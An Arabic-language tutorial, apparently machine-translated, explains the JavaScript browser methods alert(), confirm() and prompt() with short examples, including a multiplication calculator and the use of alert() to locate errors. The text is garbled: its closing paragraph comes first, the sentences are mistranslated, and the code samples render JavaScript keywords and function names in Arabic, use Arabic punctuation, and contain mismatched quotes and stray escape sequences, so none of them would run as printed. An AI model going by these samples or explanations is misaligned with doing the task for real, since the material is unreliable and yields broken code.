وأخيرا، النافذة التي تطلب من المستخدم، يريد مغادرة موقعنا أو لا. في حالة الموافقة على المتغير سيتم وضع قيمة منطقية حقيقي.ومعرفة خاطئة على التوالى. هذا كل ما يجب أن تعرفه حول هذه الأساليب، أراك في الدروس التالية!
في هذه المقالة سوف نستكشف ثلاث طرق مثيرة للاهتمام، وهي تنبيه ()، تأكيد () وأساليب موجه ()وبعد جميعهم مصممة للتفاعل مع المستخدم.
كل هذه الطرق الثلاث تنتمي إلى كائن النافذة (نافذة المتصفح). ويمكن استدعاءها بهذه الطريقة: نافذة. note_name ()؛ لكن JavaScript يسمح لنا نافذة الكائن هذه لا تحدد، ولكن لكتابة اسم الطريقة فقط.
لنبدأ مع طريقة التنبيه (). تعرض هذه الطريقة الرسالة المحددة إلى نافذة متصفح المستخدم. ستظهر هذه النافذة أعلى الصفحة بأكملها، وبينما لا يقوم المستخدم بالنقر فوق الزر "موافق"، فلن يصمم.
لإظهار، سحب نوع من الرسائل باستخدام طريقة التنبيه ()
var today_is \u003d "الاثنين"؛ تنبيه ("اليوم" + اليوم_يس)؛
داخل الطريقة يمكننا تحديد أي سلسلة، فقط دون tAG.س. لا تتم معالجتها هنا، ولكنها موضحة كما هي.
إذا كانت السلسلة التي نريد تحديدها لفترة طويلة، ونريد أن نجعل الانتقال إلى سلسلة جديدةثم هنا علامة HTML
لن يعمل. تحتاج هنا إلى استخدام رمز "\\ n".
تنبيه ("loooooooooog \\ggggggggggggggggggggggggggggggggggggggg
يتم استخدام هذه الطريقة في كثير من الأحيان للبحث عن الأخطاء في التعليمات البرمجية.
ينتقل عملية معالجة التعليمات البرمجية من أعلى إلى أسفل، لذا لافتة اصطياد الخطأ، نقوم ببساطة بكتابة طريقة التنبيه () إلى منطقة تقديرية يوجد فيها الخطأ. وإذا كان التنبيه () عملت، فهذا يعني الخط الذي كتب فيه، لا توجد أخطاء.
بعد ذلك، تحتاج إلى نقلها إلى سطر واحد أو أكثر أدناه. نحفظ التغييرات، مرة أخرى نقوم بتحديث الصفحة في المتصفح، ومعرفة ما إذا كان التنبيه () عملت، فهذا يعني أنه لا توجد أخطاء على الخط حيث لا، لا، وإلا، وإلا، إذا لم ينجح، فإن الخطأ موجود في السلسلة أعلى من واحد حيث هو الآنوبعد حتى تتمكن من العثور على خطأ في التعليمات البرمجية.
تأكيد () الطريقة
يتم استخدام هذه الطريقة لتأكيد الاستجابة، لبعض الأسئلة. لا يوجد سوى خياران للإجابة، نعم (موافق) أم لا (إلغاء / إلغاء). إذا استجاب المستخدم نعم، فإن الأسلوب إرجاع الحقيقة (صحيح)، وإلا فإنه بإرجاع الأكاذيب (خطأ).
على سبيل المثال، سحب النافذة باستخدام طريقة تأكيد ()، حيث تسأل المستخدم "هل ترغب بالتأكيد في ترك الصفحة؟". إذا استجاب المستخدم نعم، فمن خلال التنبيه ()، سيسحب مثل هذه الرسالة "يريد المستخدم مغادرة الصفحة،" وإلا فسوف يسحبون رسالة أخرى "لا يريد المستخدم ترك الصفحة."
var user_answer \u003d تأكيد ("هل ترغب بالتأكيد في ترك الصفحة؟")؛ إذا كان ("user_answer) تنبيه (" المستخدم يريد مغادرة الصفحة ")؛ تنبيه آخر ("المستخدم لا يريد \\ n فلاش الصفحة")؛
هذه هي الطريقة التي يعمل بها طريقة تأكيد (). يمكن استخدامه في حالات مختلفةوبعد على سبيل المثال، قبل إزالة شيء ما من الموقع، من المعتاد أن نسأل المستخدم، سواء كان واثقا من أفعاله. أو قبل إرسال النموذج، يمكنك أيضا أن تطلب من المستخدم "لقد قمت بملء كل شيء بشكل صحيح؟"، إذا استجاب نعم، فإن النموذج يذهب، وإلا فلن تذهب.
طريقة موجه ()
والطريقة الأخيرة التي سندرسها هي الطريقة السريعة (). تستخدم هذه الطريقة أقل في كثير من الطرق الأخرى. يتيح لك الحصول على بعض المعلومات من المستخدم الذي يدخل في حقل نص.
نتيجة لذلك، تتم إرجاع الأسلوب الموجه () إما السلسلة التي تم إدخالها إذا ضغط المستخدم على الزر "موافق" أو NULL إذا ضغط المستخدم على زر الإلغاء.
كمعلمة، أي داخل بين قوسين من هذه الطريقة، يمكننا كتابة خط مدبب أو سؤال حتى يعرف المستخدم أن المعلومات التي يجب إدخالها.
على سبيل المثال، اطلب من المستخدم الإجابة على السؤال "ما اسمك؟". سيتم عرض المستخدم الذي أدخله المستخدم على الشاشة باستخدام طريقة التنبيه ().
var name \u003d موجه ("ما اسمك؟")؛ تنبيه (اسمك "اسمك" +)؛
حفظ وفتح صفحة في المتصفح.
بالطبع، في حقل النص من طريقة موجه ()، يمكنك إدخال أي معلومات. سيتم إرجاع هذه المعلومات كسلسلة، حتى في حالة الأرقام أو غيرها من المتخصصين.
على سبيل المثال، نطلب من المستخدم إدخال رقمين لتضاعفها. سيكون هناك حاسبة معينة للضرب بالأرقام.
var x \u003d موجه ("أدخل الرقم الأول:")؛ var y \u003d موجه ("أدخل الرقم الثاني:")؛ / / تحويل الأرقام التي تم إدخالها من نوع السلسلة في نوع رقمي X \u003d الرقم (x)؛ Y \u003d الرقم (ذ)؛ Document.write (x + "*" + y + "\u003d" + (x * y))؛
الأرقام التي تم إدخالها هي الصفوف، لذلك، للحصول على النتيجة الصحيحة للضرب، تحتاج هذه الأرقام إلى الذهاب من خلال الدالة الرقم ()، والتي تحولها من نوع السلسلة إلى أرقام عادية.
حسنا هذا كل شيء. الآن تعرف ثلاثة طرق أخرى: تنبيه ()، تأكيد () وموجه ()وبعد التي يمكنك استخدامها بأمان في الممارسة العملية.